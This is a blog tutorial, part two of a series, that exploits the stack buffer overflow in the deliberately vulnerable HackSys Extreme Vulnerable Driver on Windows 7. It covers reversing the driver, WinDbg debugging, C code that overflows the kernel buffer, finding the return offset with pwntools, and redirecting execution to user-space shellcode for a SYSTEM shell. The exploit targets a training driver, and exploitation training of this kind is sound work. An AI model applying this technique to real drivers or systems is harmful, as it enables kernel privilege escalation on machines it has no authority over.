Introduction to Windows Kernel Driver Exploitation (Pt. 2) - Stack Buffer Overflow to System Shell

September 06 2017

In this article, we will go through and exploit the simplest vulnerability in the HEVD driver - the stack buffer overflow.

First things first, let's load up the driver .sys file in IDA and have a look at how it is structured. You'll be glad to know that the driver was compiled with symbols to help make reversing it easier!

Reversing the driver

The function DriverEntry is the entrypoint of the driver when it is first loaded up. It does various things like creating an IO device and setting the driver path - this being \\Device\\HackSysExtremeVulnerableDriver. The function then goes on to set up IRP (I/O Request Packet) handlers - which is what we really care about.

NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, int a2)
{
  NTSTATUS v2; // [email protected]
  _DEVICE_OBJECT *v3; // [email protected]
  NTSTATUS result; // [email protected]
  PDEVICE_OBJECT v5; // [email protected]
  NTSTATUS v6; // [email protected]
  LSA_UNICODE_STRING DestinationString; // [sp+8h] [bp-14h]@1
  LSA_UNICODE_STRING SymbolicLinkName; // [sp+10h] [bp-Ch]@1
  PDEVICE_OBJECT DeviceObject; // [sp+18h] [bp-4h]@1

  DeviceObject = 0;
  SymbolicLinkName.Length = 0;
  *(_DWORD *)&SymbolicLinkName.MaximumLength = 0;
  HIWORD(SymbolicLinkName.Buffer) = 0;
  RtlInitUnicodeString(&DestinationString, L"\\Device\\HackSysExtremeVulnerableDriver");
  RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\HackSysExtremeVulnerableDriver");
  v2 = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
  if ( v2 >= 0 )
  {
    memset32(DriverObject->MajorFunction, (int)IrpNotImplementedHandler, 0x1Cu);
    v5 = DeviceObject;
    DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)IrpCloseHandler;
    DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)IrpCloseHandler;
    DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)IrpDeviceIoCtlHandler;
    DriverObject->DriverUnload = (PDRIVER_UNLOAD)&DISPLAYCONFIG_SCANLINE_ORDERING_INTERLACED;
    v5->Flags |= 0x10u;
    DeviceObject->Flags &= 0xFFFFFF7F;
    v6 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
    DbgPrint_0(
      "%s",
      "                                        \n"
      " ##     ## ######## ##     ## ########  \n"
      " ##     ## ##       ##     ## ##     ## \n"
      " ##     ## ##       ##     ## ##     ## \n"
      " ######### ######   ##     ## ##     ## \n"
      " ##     ## ##        ##   ##  ##     ## \n"
      " ##     ## ##         ## ##   ##     ## \n"
      " ##     ## ########    ###    ########  \n"
      "   HackSys Extreme Vulnerable Driver    \n"
      "             Version: 1.20              \n");
    DbgPrint_0("[+] HackSys Extreme Vulnerable Driver Loaded\n");
    result = v6;
  }
  else
  {
    v3 = DriverObject->DeviceObject;
    if ( v3 )
      IoDeleteDevice(v3);
    DbgPrint_0("[-] Error Initializing HackSys Extreme Vulnerable Driver\n");
    result = v2;
  }
  return result;
}

The function IrpDeviceIoCtlHandler is assigned to element 14 of the DriverObject MajorFunction array. This function contains a sort of switch case which decides what function to run based on the IOCTL a user provides in their application code DeviceIoControl call.

Selection_098

The function we care about is the one that corresponds to the StackOverflowIoctlHandler handler. This function handles the user request when the IOCTL call number 0x222003 is provided in the DeviceIoControl call.

if ( v3 == 0x222003 )
{
    v4 = "****** HACKSYS_EVD_STACKOVERFLOW ******\n";
    DbgPrint_0("****** HACKSYS_EVD_STACKOVERFLOW ******\n");
    v5 = ((int (__stdcall *)(PIRP, struct _IRP::$::$::$::$A02EC6A2CE86544F716F4825015773AC::_IO_STACK_LOCATION *))StackOverflowIoctlHandler)(
             Irp,
             v2);
    goto LABEL_31;
}

After the call to StackOverflowIoctlHandler there is some setup before the TriggerStackOverflow function is called.

Selection_099

Which contains the following code:

int __stdcall TriggerStackOverflow(void *userBufferPtr, size_t userBufferSz)
{
  int kernelBuffer; // [sp+10h] [bp-81Ch]@1
  char v4; // [sp+14h] [bp-818h]@1
  CPPEH_RECORD ms_exc; // [sp+814h] [bp-18h]@1

  kernelBufferPtr = 0;
  memset_0(&v4, 0, 0x7FCu);
  ms_exc.registration.TryLevel = 0;
  ProbeForRead(userBufferPtr, 0x800u, 4u);
  DbgPrint_0("[+] UserBuffer: 0x%p\n", userBufferPtr);
  DbgPrint_0("[+] UserBuffer Size: 0x%X\n", userBufferSz);
  DbgPrint_0("[+] KernelBuffer: 0x%p\n", &kernelBuffer);
  DbgPrint_0("[+] KernelBuffer Size: 0x%X\n", 2048);
  DbgPrint_0("[+] Triggering Stack Overflow\n");
  memcpy_0(&kernelBuffer, userBufferPtr, userBufferSz);
  return 0;
}

Straight away you should be able to spot the vulnerability - there is a memcpy from the userBuffer into the kernelBuffer (which has a size of 2048 bytes) with a size dictated by the user in userBufferSz.

So how can we exploit this? Simple - we simply provide more data in the buffer than 2048 bytes and also tell the driver how much data we have - no need to lie! The driver will memcpy the data from the user buffer into the driver kernel stack buffer and will happily overwrite the saved return pointer.

So how do we go about exploiting this vulnerability? ....

Exploiting the Handler

Let's set a breakpoint to see what is going when the exploit is run. First we start with running the command uf HEVD!TriggerStackOverflow in WinDBG to get the current address of the TriggerStackOverflow function in the HEVD module loaded in - this will change per system boot due to ASLR.

0: kd> uf HEVD!TriggerStackOverflow
HEVD!TriggerStackOverflow [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 65]:
   65 a11a462a 680c080000      push    80Ch
   65 a11a462f 68d8211aa1      push    offset HEVD!__safe_se_handler_table+0xc8 (a11a21d8)
[...]
   92 a11a46be 83c430          add     esp,30h
   94 a11a46c1 eb21            jmp     HEVD!TriggerStackOverflow+0xba (a11a46e4)

HEVD!TriggerStackOverflow+0xba [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 98]:
   98 a11a46e4 c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh
  100 a11a46eb 8bc7            mov     eax,edi
  101 a11a46ed e867c9ffff      call    HEVD!__SEH_epilog4 (a11a1059)
  101 a11a46f2 c20800          ret     8

Now what we want to do is find the offset of the final ret instruction in the function from the beginning of the function itself. The reason we want to do this is that we will be able to set what is known as an unresolved breakpoint by simply knowing the function name, and the offset we want to break at. Helping us to forget about ASLR when doing this.

0: kd> ? a11a46f2 - HEVD!TriggerStackOverflow
Evaluate expression: 200 = 000000c8

Now that we know the offset of the ret from the entry of the function is 0xc8 - we can simply set the unresolved breakpoint with bu.

0: kd> bu HEVD!TriggerStackOverflow+c8

Now simply resume execution with g, head back to the vulnerable VM and write our exploit!

Writing the exploit

To communicate with the driver, we are going have to create a handler for it. This can be done by opening the physical driver path (referenced in the DriverEntry function as DestinationString) with CreateFile. As always check the documentation for this function and others for the full argument breakdown.

HANDLE device = CreateFileA(
    "\\\\.\\HackSysExtremeVulnerableDriver",
    GENERIC_READ | GENERIC_WRITE,
    0,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
    NULL);

Next we need to alloc a buffer that we will provide to the driver to memcpy data from. We can do that with VirtualAlloc. I have made the buffer the size of a page. Note that the buffer has execute permissions and write permissions (as we will be writing to it, and the kernel will end up executing from it later).

LPVOID uBuffer = VirtualAlloc(
    NULL,
    PAGE_SIZE,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE);

Now just fill the buffer with A's so we can see a failure when the exploit runs!

RtlFillMemory(uBuffer, PAGE_SIZE, 0x41);

Finally we want to make a DeviceIOControl call to the driver so we can provide the user buffer and size arguments to trigger the buffer overflow hopefully!

DWORD bytesRet;
BOOL bof = DeviceIoControl(
    device,      /* handler for open driver */
    STACK_IOCTL, /* IOCTL for the stack overflow */
    uBuffer,     /* our user buffer */
    0x864,       /* anything more than 0x800 */
    NULL,        /* no buffer for ret */
    0,           /* above buffer of size 0 */
    &bytesRet,   /* dump variable for byte returned */
    NULL);       /* ignore overlap */

Running the exploit

Now put this all together, compile it and execute the exploit binary you compile!

0: kd> g
****** HACKSYS_EVD_STACKOVERFLOW ******
[+] UserBuffer: 0x003C0000
[+] UserBuffer Size: 0x864
[+] KernelBuffer: 0x822DB2B4
[+] KernelBuffer Size: 0x800
[+] Triggering Stack Overflow
Breakpoint 0 hit
eax=00000000 ebx=a11a5da2 ecx=a11a46f2 edx=00000000 esi=865c9528 edi=865c94b8
eip=a11a46f2 esp=822dbad4 ebp=41414141 iopl=0         nv up ei ng nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000282
HEVD!TriggerStackOverflow+0xc8:
a11a46f2 c20800          ret     8

We can see the vulnerability name being printed, which is done in the IrpDeviceIoCtlHandler switch case before StackOverflowIoctlHandler is called. The driver then executes code in the TriggerStackOverflow function - printing information about the user provided buffer. We can see that there are 0x864 bytes in the userBuffer which exceeds the 0x800 that the driver expects! This is also what we provided in the DeviceIoControl call!

Surely we must have made some damage. Open the stack with View->Memory in the menu. Write the address of the esp register in the address field to see what address the driver is about to return to.

Selection_101

If we let the process continue it will want to crash - because we can't return to the address 0x41414141. However what we can do from here is figure out the offset from the start of the buffer that the saved return address lives - so we know where to put our malicious return address in our payload in the userBuffer. The driver tells us the address of the kernel buffer in the debug output in WinDbg. However if we were using a real driver this would not be the case, and symbols usually wouldn't be enabled making finding the address of the buffer more of a pain.
Let's use a debruijn sequence! This is a reliable way of finding the ret address offset as we will generally always know the address in EIP the process is crashing on.

How I generate these sequences is with pwntools. I won't go into how you install this - but once done so you can import it and use the cyclic function. We want to use the same size of the userBuffer as last time, as we know that it was long enough.

In [1]: cyclic(0x864)
Out[1]: 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaaza...'

We simply want to use RtlCopyMemory to copy the debruijn sequence into the userBuffer and run the exploit as we did before and check the esp register contents. Before running the exploit we have to reset the vulnerable VM because the access violation occurred within the kernel rendering it dead!

char myStr[] = "aaaabaaacaaada...avlaav";
RtlCopyMemory(uBuffer, myStr, 0x864);

By running the exploit now and allowing it to run until it crashes - we can check the crashing value of the eip register in Windbg with the r command. We can feed the value of eip=75616175 into pwntools to find the offset.

In [2]: cyclic_find(0x75616175)
Out[2]: 2080

So if we fill the kernel buffer with 2080 bytes of junk, we can then provide the return address we want! However we want to do something interesting once we have code execution. So we will use some windows shellcode (don't worry - I will explain exactly how the shellcode works in the next part of this series) which will perform a privilege escalation attack within the kernel.

Getting SYSTEM shell

For the time being just know that the shellcode, when ran by the kernel, will elevate the privilege of the current running process to the same as that of the System process.

Now the ONLY reason that we can direct execution from the kernel into user space is because we are running on Windows 7 - and a security measure known as SMEP/SMAP is disabled. What this does, when enabled, is it disallows the kernel from executing (or reading/writing in the latter case) pages with the user bit set. This is so that a malicious actor cannot do what we are doing, and have the kernel execute code that exists in user space. To bypass this on a more recent version of windows we would need a kernel stack address leak so we could jump to the shellcode that would be stored in the kernel buffer that is memcpy'd into - and not the buffer in the user address space. This obviously adds alot more complexity.

How we will do this - is to get the kernel to return execution into user space and start executing the shellcode we will store at the start of the user input buffer in the process's address space.

At the offset of 2080 we will store the address of the start of the actual user input buffer, as it is in the virtual address space of the exploit process, when the kernel returns to this address - it will jump to the shellcode stored in the start of the user buffer which is stored in the address space of the user process.

Once done - the kernel will elevate the privilege of the current exploit process and return from the DeviceIoControl call. Once done we can simply launch system('cmd.exe') to exec a shell, which because of the shellcode priv-esc will be running as SYSTEM!

And running...

Selection_102

System shell! Here is the final exploit:

I will go into how the shellcode works in the next post, if you were worried it was some form of magic. And then from there we will go on to more complex exploits in the driver!

Comments